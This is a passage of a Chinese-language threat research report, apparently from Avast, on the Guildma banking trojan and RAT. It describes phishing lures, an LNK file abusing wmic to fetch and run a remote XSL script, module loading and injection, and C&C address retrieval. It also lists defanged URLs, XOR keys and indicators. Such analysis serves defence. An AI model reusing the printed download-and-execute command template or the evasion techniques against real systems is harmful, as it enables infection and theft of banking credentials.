几个月以来,我们一直在追踪名为 Guildma 的恶意软件。Guildma 是一个强大的组合,包含RAT (远程访问工具)、间谍软件
、密码盗窃工具 和银行木马 ,主要通过钓鱼电子邮件活动中的恶意附件分发。
负责 Guildma 的网络罪犯主要专注于针对巴西用户和服务,但自2019年5月以来,他们已扩大了攻击对象,目前全球已有超过130家银行
和75个其他网络服务 成为其目标。
我们估计 Guildma 的最初版本是在2015年创建的,这是根据我们的分析和先前对 Guildma 的研究得出的迹象。以往的恶意软件研究者对
Guildma 进行了一定的分析,但仅限于恶意软件的初始阶段。我们的分析提供了有关 Guildma 所有阶段、模块功能、C&C伺服器、命令和一长串目标服务及应用程序的详细信息,同时也描述了其特征的演变。
恶意软件的创作者在 Guildma 的漫长存在期间,使用了大量的域名、各种感染和窃取技术以及多种编程语言(Delphi, JS, VBS等),但另一方面,他们也使用了相同或非常相似的代码模式,如加密算法和种子、URL路径格式、变量或文件名。通过这些模式,我们能够高精度地追踪整个攻击活动,即使一些恶意软件或模块已经进行了变更。
活动概述
该活动通过钓鱼电子邮件进行传播,这些电子邮件假装是发票、税务报告、邀请函等类似消息,并包含一个 ZIP 档案附件,其中有一个恶意的 LNK文件。当用户打开这个恶意的 LNK 文件时,它会滥用 Windows 管理工具命令行工具,并静默下载一个恶意的 XSL 文件。这个 XSL 文件下载所有
Guildma 的模块,并执行第一阶段的加载器,这个加载器会加载其余的模块。然后,这个恶意软件会保持活跃状态,等待来自 C&C伺服器的命令和/或特定用户互动,例如打开其中一个目标银行的网页。
最初,该活动针对巴西用户和服务,通过针对性的钓鱼电子邮件进行传播。然而,我们已经保护超过26,000名 Avast 用户免受155,000次
Guildma 感染尝试 ,在全球范围内。
2019年1月至7月,保护的 Avast 用户数据。
超过98%的目标用户位于巴西。
针对巴西用户的一封钓鱼电子邮件的截图。
附件文件名示例(附翻译):
原始名称 | 翻译 / 信息
—|—
anexo pedido.htm.zip| attachment request.htm.zip
curriculo.htm.zip| CV.htm.zip
curriculum_.htm.zip|
bolthersdf34201-master.zip|
deposito.identificado.htm.zip| deposit.identified.htm.zip
dados unidas rent a car.htm.zip|
nota_fiscal.484.582.85.zip| invoice.484.582.85.zip
decisao_judicial.htm.zip| judicial_decision.htm.zip
seguradora_tokio.htm.zip| insurance_tokyo.htm.zip
cheque.htm.zip| check.htm.zip
零阶段:被攻击的网站与 PHP shell 邮件发送工具
发送 Guildma 的钓鱼电子邮件主要通过可疑的租用或购买网站发送,或者使用被骇的网站,通过向网站代码中安装或复制恶意的 PHP代码,进行批量邮件发送。恶意软件的创作者通常使用基于简单邮件功能的自定义 PHP shell,具有特定标头。
这个可疑的 X-Mailer 值也在其他垃圾邮件 、恶意的批量发邮件
和 webshell脚本中被广泛使用。虽然可选的 X 标头相当可疑,但内容类型和编码都是标准的 – ISO-8859-1 (拉丁1编码)和 Base64对于文本和附件来说都是常见的。
附加的 LNK 文件
附加在钓鱼电子邮件中的压缩档案包含一个恶意的 (LNK)文件,正如前面所述,这个文件用作下一步的下载器。
这个 LNK 文件会使用命令提示符(cmd.exe)打开一个最小化的 Windows 管理工具命令行工具(wmic.exe),以下载和执行下一步的 XSL文件,这个文件具有恶意有效载荷。(MITRE T1220 Squiblytwo 技术)
LNK 目标格式:
%ComSpec% /c start /MIN %SystemRoot%\\system32\\wbem\\wmic os get <randomstrings> /format:"<url_to_xsl_file>" && exit
LNK 的注解字段填写了一个完全随机的字符串,随机长度,Run
字段始终设置为 Minimized
。
其他可疑字段有:CreationTime、AccessTime 和 WriteTime。如果填写,它们始终设置为 2010年11月21日
。
(03:24:06) [UTC]
自2018年9月以来,我们发现了超过 4,800 份独特的恶意 LNK 样本,包含280个硬编码的域名
。自2019年4月以来,样本数量略有增加,从那时起,每日新样本数量约为 50。
恶意 LNK 样本统计数据
LNK 文件名示例:
原始名称 | 翻译 / 信息
—|—
nf-e00127532011181.lnk| NF-e 是巴西使用的电子发票文件
acordo-semparar.html.lnk| agreement.html.lnk
curriculum_completo_002.73569270.lnk| full_CV_002.73569270.lnk
nota_fiscal_eletronica.0028170201827.lnk| NF-e 是巴西使用的电子发票文件
abrir_documento63082628700.lnk| open_document63082628700.lnk
arquivo.gerado.em.03.01.2019.910.lnk| generated.archive03.01.2019.910.lnk
boletobradesco2786.pdf.lnk| Boleto 是在巴西的一种支付方式
我们还发现一个 XSL 文件版本,其生成并执行与 LNK 文件相同的命令。
在2019年4月底,恶意软件作者创建了一个新版本的 LNK 文件,其目标命令和下载 URL 进行了混淆,偶尔指向 TOR 网络,这可能是为了避免反病毒检测。
XSL 文件
SHA256: 1a89b4c8079d00b7f1575462a2cc7e5f9ac6d488abc5b167001ab676b62930b8
包含的 JavaScript 有效载荷的主要目的是下载所有 Guildma 的模块,并使用默认的 Windows 工具和应用程序执行第一阶段 DLL 模块。
这段恶意的 JavaScript 代码略微混淆,使用了 fromCharCode
函数或公共的基于网页的混淆工具。
去混淆后的下载函数利用 BITSAdmin 工具来下载有效载荷。以下是截至 Guildma 版本 138 使用的相应代码:
恶意软件作者在 Guildma 版本 139 中更新了 XSL 文件,并添加了另一层 Base-64 编码,在2019年4月底通过 certutil应用程序解码。
版本 139 中增强的下载功能:
他们有时还使用简单的混淆方法来处理 138 版本的 JavaScript 代码,可能是使用免费的基于网站的混淆器生成的:
可疑的变量和函数名称:
恶意 JavaScript 代码中包含许多独特且不寻常的变量和函数名称,包括 Lucifer
和
Astaroth
,而且作者长期以来始终使用相同的名称,并未更改。
变量名 | 函数名
—|—
xLuciferxs, xCaverax, xVRXastaroth, pingadori,
sVarXEDRaz, raraiz, sdjkhiwewsw, kdcafex,
MaisShell, smaeVar| function radador(min, max)
function Bxaki(url, file)
function vgos(min)
下载 URL:
所有的 URL 部分是硬编码的,部分是 JavaScript 生成的,域名几乎每天都在变。自版本 139 起,下载文件的扩展名改为 .zip.log
。
格式:
http:\/\/\w+\d{7}\.\w+\.(website|pw|space|fun|site|xyz|club|com):250\d{2}\/\d{2}\/\w+(a|b|c|dwwn|dx|e|f|g|gx|xa|xb|98|hh)\.(jpg|gif|dll)\.zip(\.log)?\?\d{9}
例如:
hxxp://q239hEFLK1379515.cavaleira1.website:25013/09/rakpat0rpcackb.jpg.zip?505797016
我们发现版本139的 Guildma 在 Github 上由名为 winsvrx
的用户托管。该帐户于2019年3月29日创建,并一直在积极维护,直到2019年4月30日,这个帐户被Github安全团队快速移除,因为我们发现并报告了该帐户。
Github URL:
hxxps://github.com/winsvrx
在GitHub删除后,创作者转向 Google Storage,并继续积极开发和恶意软件的扩散。我们还向谷歌报告了此事,该存储桶/服务随后被移除。
Google Storage URL:
hxxps://storage.googleapis.com/ultramaker/
作者在140版本中更新了 botnet,并于2019年6月切换到新的 Google Storage URL:
hxxps://storage.googleapis.com/bradok/
Botnet 版本:
第一个有趣的变量 smaeVar
可能表示一个活动版本、发布月份或仅用于不同 URL集合的目录名称。恶意软件的作者使用了03、04、06、07、08、09 目录来托管在 GitHub 和 Google Storage 上的活动。
第二个变量 skvidro
指示恶意软件的版本,截至2019年6月底,它是140版本。
恶意软件的作者在每个新版本中也会更改下载目录,这些信息存储在变量 sVarRaz
中。
恶意域名: 参见附录 C.1。
模块执行:
第一个模块(64)在所有其他模块成功下载后,使用 regsrv32
工具执行。
恶意软件的作者 我们的二进制文件 aswrundll.exe
作为此目的,但我们的开发者迅速修复了此漏洞,这种技术现在已经不再可行。
下载的模块:
Guildma 的二进制文件被划分为多个阶段和模块。有些模块仅仅进行加密,并且自版本 139 起,所有模块也都是经过 Base64 编码的。
下载目录格式:
c:\users\public\libraries\<campaign_download_dir>
当前的活动下载目录为 temporary
,先前是 awsvideos
和 raptor
。
模块文件名格式:
campaign_file_name(64|98|xa|xb|dwwn|dx|e|f|g)\.(~|gif|jpg)
文件名示例:
rakpat0rpcack64.~ rakpat0rpcack98.~ rakpat0rpcackxa.~ rakpat0rpcackxb.~
rakpat0rpcackdwwn.gif rakpat0rpcackdx.gif rakpat0rpcackg.gifrakpat0rpcackgx.gif rakpat0rpcacka.jpg rakpat0rpcackb.jpg rakpat0rpcackc.jpgrakpat0rpcacke.jpg rakpat0rpcackf.jpg
带有 GIF 和 JPG 扩展名的模块是使用基于种子的弱 Shift-XOR 算法进行“加密”。
下载的模块使用了几个不同的种子值进行加密,0x457
、0x33f45263
(到版本 138 为止)和 0xa2c99
(从版本 139开始)进行加密。
来自种子的生成 XOR 键:
0x457:
572B158A45221108040201000000000000000000000000000000000000000000
0x33F45263:
6331984C269349A45229148A45A2D1E8F4FAFD7E3F9FCF6733190C0603010000
0xA2C99:
994C2693C964B2592C168B45A25128140A050201000000000000000000000000
第一个种子生成了非常弱的钥匙,充满了零字节,这对于 XOR 操作来说不是一个适合的值;)。第二个种子 0x33f45263
自 2015年底
以来保持不变。
模块流程图:
恶意软件详情:
所有核心的 Guildma 恶意软件模块都是使用 Borland Delphi 编写的,根据代码模式,它们可能基于知名的开源 RAT,如 DelphiRemote Access PC
、AmigoRAT
或 PureRAT
等。
字符串的加密/混淆算法也在其他 Delphi 恶意软件家族中使用,因此恶意软件的作者可能也复制或购买了这一部分。
字符串加密算法的 Python 表示:
这个恶意软件并不使用任何形式的“主”配置文件或数据结构,许多重要的变量(URL、路径等)都是计算、加密和硬编码在编译的二进制文件中的各个地方。由于变量,如模块文件名,与之前的阶段相对应,作者必须在每次更改时重新编译所有二进制文件和脚本,例如更改
C&C 域。我们推测他们使用了自动化的源代码预处理脚本。
模块 64(加载器)
SHA256: 8d516dacdc00d76a44f987b654ffe39145eb02c5013b3dc504a3bf65d7e503cb
这是首个被执行的模块,作为第二阶段、模块 98 的加载器,并为后续使用准备两个下载的文件(XA 和 XB 文件)的数据。
模块 98 的路径是硬编码的,并随每次活动而改变。导出的名称“mangusbold”
在三个版本中保持不变(版本 137-139)。
加载 XA 和 XB 模块是使用 16 位内核函数 _lopen
、_lread
和 _lclose
实现的。
我们发现版本 139 的模块中存在试图使用假冒的 Avast 证书的行为。
模块 98(加载器)
SHA256: 9a8df74f32dbf64672745b2bb427410e49b1e53441d7b4ca32e8c82ac4d44557
这是第二个模块,也用作下一阶段的加载器。其主要目的是将之前准备好的 XA 和 XB 数据块合并为一个模块,在内存中重建创建的模块并执行它。
模块 XA+XB(注入器)
模块 XA – 模块二进制的第一部分:
SHA256: 37e87eac8138491630822e335e4cc74edbd6424b2f92ee3b1bee28423aa63b78
模块 XB – 模块二进制的第二部分:
SHA256: e1b08233100a573c6de711152bc894e0a612f26ddacce8e365514cdd6c968614
合并模块:
SHA265: 244b06da6f405b35579ce9643c08bc5420b460a254096ab1646a515c94ecc7c6
此模块的主要目的是将 GX 模块注入到一个目标文件中,默认的目标文件是系统应用程序 userinit.exe
。第二个目标文件是 GASTecnologia 的保护工具 Warsaw 的一部分。
恶意软件作者使用了一种简单的通用技术,使用 CreateProcess > SetContext > ResumeThread
组合,在另一个进程的上下文中运行恶意代码。
在 userinit.exe
进程中注入的模块:
整个过程树:
该模块在一个无限循环中运行,并在每852秒检查注入结果的模块 G 窗口名称。如果未找到窗口,则模块将重新执行注入。
模块 GX(注入器)
SHA256: edba9b33cb49fca3302387ec019e676a4e022709e54a2945eff25ddf409ef98d
模块 GX 是核心模块 G(核心模块)的最后一个加载器,在先前阶段的注入过程内存中。
该模块结构基本上与之前的模块相同,因为它也包含无限循环和使用核心模块窗口名称检查注入结果,但恶意软件作者在这里应用了简单的混淆。
无混淆的干净代码:
内存 DLL 的加载、重定位和导入表重建代码基于公众的 BTMemoryModule
,由 创建。
模块 DWWN(RAT)
SHA256: ca7c94b5012c5285d466a5c27647b26106c8017e93172a4d092322c66f1d0fa9
DWWN 模块使用两层 C&C 伺服器架构。每当需要联络 C&C 伺服器,且未找到二级 C&C 伺服器的地址时,会联络首级 C&C 伺服器(见附录
E.1),其地址为 <first-level C&C domain>//09/dsct.txt
。
响应可能包含经过简单替代密码加密的二级 C&C 伺服器的域。这种加密是通过 ROT-7
操作完成的,使用的字母表(即 U
替代为 e
,V
替代为 f
,9
替代为 d
等)如下:
UVZabcdefghijkçlm23Atuvxyz!@#$%8FYNÃOPQR=-><;.014567pqrBCSTnoGHI?/\|"~[]{}JKLMÇWX&*()_+DEãs9
路径中的数字“09”似乎在每次版本更新时会增加。请注意,这种 C&C检索方法也用于数据提取器、发送器和核心模块。反组装显示这是通过自定义库实现的,因为相应的代码仅在硬编码地址列表上有所不同。
下面显示的事件都有一个字符串 Tmsodebriedgw
作为前缀(更具体地说,这些对象本身都有前缀)。此模块具有三个窗口(A、B和C),每个窗口都有自己的 FormCreate
事件(<prefix><form>_<event>
)。类似地,定时器/线程都有自己的额外前缀
msodebriedgwe
(<prefix><form>_<timerprefix><label>Timer
)。为了便于阅读,我们省略了这些前缀并使用重新格式化的名称。
所有 Form A
的子定时器,仅在 xkill
自启动以来未运行的情况下提供功能。另一个模式,是即使在后来的情况下仍然存在 –
每个定时器在事件开始时都会禁用,并在结束时启用,除非另有说明。
模块对象图
FormCreate – Form A
这是协调所有功能的主界面。最开始,从 PrintWindow API 函数读取4个字节,并准备客户端 UID
(<NETBIOS name>_<hex-
)。同时,所有的定时器都被禁用。
encoded volume info>
属于这个表单的窗口会隐藏到随机位置,这个位置在客户监视器的屏幕外(该位置超出了监视器的解析度)。然后初始化其余两个窗口(更具体地说是它们各自的表单)。该表单还通过检查
<time ddmmyyyyddmmyyyy>
的窗口名称来检查是否有前一个实例运行。如果找到这样的窗口,则执行 xkill
操作(详情见
A82::thread_proc
命令 0x276
);否则将窗口重命名为 <timeddmmyyyyddmmyyyy>
,其值对应于当前客户的时间。
往后,通过启用 Timer A1
(记录器)来开始记录。还记录到 libraries
目录的路径、客户端的 UID和其自身窗口的名称。这种记录以带有时间戳的消息形式加入到 TMemo
(多行文本框)中。如果该文本框中超过 3000 行,则会清空。
FormCreate – Form B
然后使用与 Form A
相同的技巧来隐藏窗口,即该窗口被置于客户的监视器屏幕之外。
窗口的位置通过 Form A
以以下格式记录:
PosY<y coordinate>posiçăoX:<x coordinate>
FormCreate – Form C
同样使用与 Form A
相同的技巧来隐藏窗口,即该窗口被置于客户的监视器屏幕之外。
类似于 Form B
,窗口的位置被格式化为字符串 y:<y coordinate>x:<x coordinate>
透过 Form A
记录。初始位置设置为 (19 777, 16 777)。此位置之后改为 (17 660, 18 652),并再次以以下格式记录:
yy1: <y coordinate>xx1: <x coordinate>
请注意,这些位置超出了普通消费级屏幕上显示的坐标范围。
随后,会使用 TWebBrowser
对象创建一个 Guildma 浏览器窗口,以获取微软 Shell Doc Object 和 ControlLibrary(SHDOCVW.DLL 库)的浏览器功能。该窗口的名称设置为
msodebridgwe_Navite
。然后将窗口移动到新的位置,并再次以以下格式记录位置:
PosC2222Y: <y coordinate>posiçăoC2222X: <x coordinate>
最后,浏览器导航到空白页面 (about:blank)。
在执行期间将数字“阶段”(1 到 6)记录,这又通过 Form A
记录。这些“阶段”包括:
浏览器窗口创建
、设置宽度
、设置高度
、窗口重新定位
、位置记录
、about:blank
。
Timer A1(记录器) – Form A
功能由核心模块生成的日志文件 Timer 14
控制(更多细节见 Timer 14)。
如果找到特定的日志文件,则将其编号保存在变量中,并保存 target_flag
以供进一步使用。窗口(浏览器窗口、程序管理器/ progman和浏览器专用窗口)的句柄写入标签 msodebriedgweA1[1-3]
。
唯一的例外是 \\hd3sys.log
,需要窗口类 buttonclass
才能获得浏览器父窗口。其他则使用标签
msodebriedgweA10
保存需要的句柄,这些句柄保存在日志文件中。
记录的字符串格式为 [VS: <bot version>] <log text>-> <date> <timestamp>
,并将日志上传到 C&C伺服器。最后,启用 Timers A2
和 A4
,并删除最初使用的日志文件。
日志文件名 | 日志文件编号 | 目标标志 | 浏览器 | 日志文本
—|—|—|—|—
\hd1sysa.log| 1| xIT_IE_| Internet Explorer| <!ABRIUUUUU!>
\hd1sysb.log| 1| xIT_CHR_| Chrome| <!ABRIUUUUU!>
\hd1sysc.log| 1| xIT_FF_| Firefox| <!ABRIUUUUU!>
\hd2sysa.log| 2| xST_IE_| Internet Explorer| <!ABRIU_OKOK!>
\hd2sysb.log| 2| xST_CHR_| Chrome| <!ABRIU_OKOK!>
\hd2sysc.log| 2| xST_FF_| Firefox| <!ABRIU_OKOK!>
\hd3sys.log| 3| xIT_APP_| Chrome| <!ABRIUUUUU!>
\hd4sys.log| 4| xNE_APP_| Firefox| <!ABRIU_TORETTO!>
\hd4sysa.log| 4| xNE_IE_| Internet Explorer| <!ABRIU_TORETTO!>
\hd4sysb.log| 4| xNE_CHR_| Chrome| <!ABRIU_TORETTO!>
\hd4sysc.log| 4| xNE_FF_| Firefox| <!ABRIU_TORETTO!>
\hd5sysa.log| 5| xCOOB_IE_| Internet Explorer| <!ABRIU_OKOK!>
\hd5sysb.log| 5| x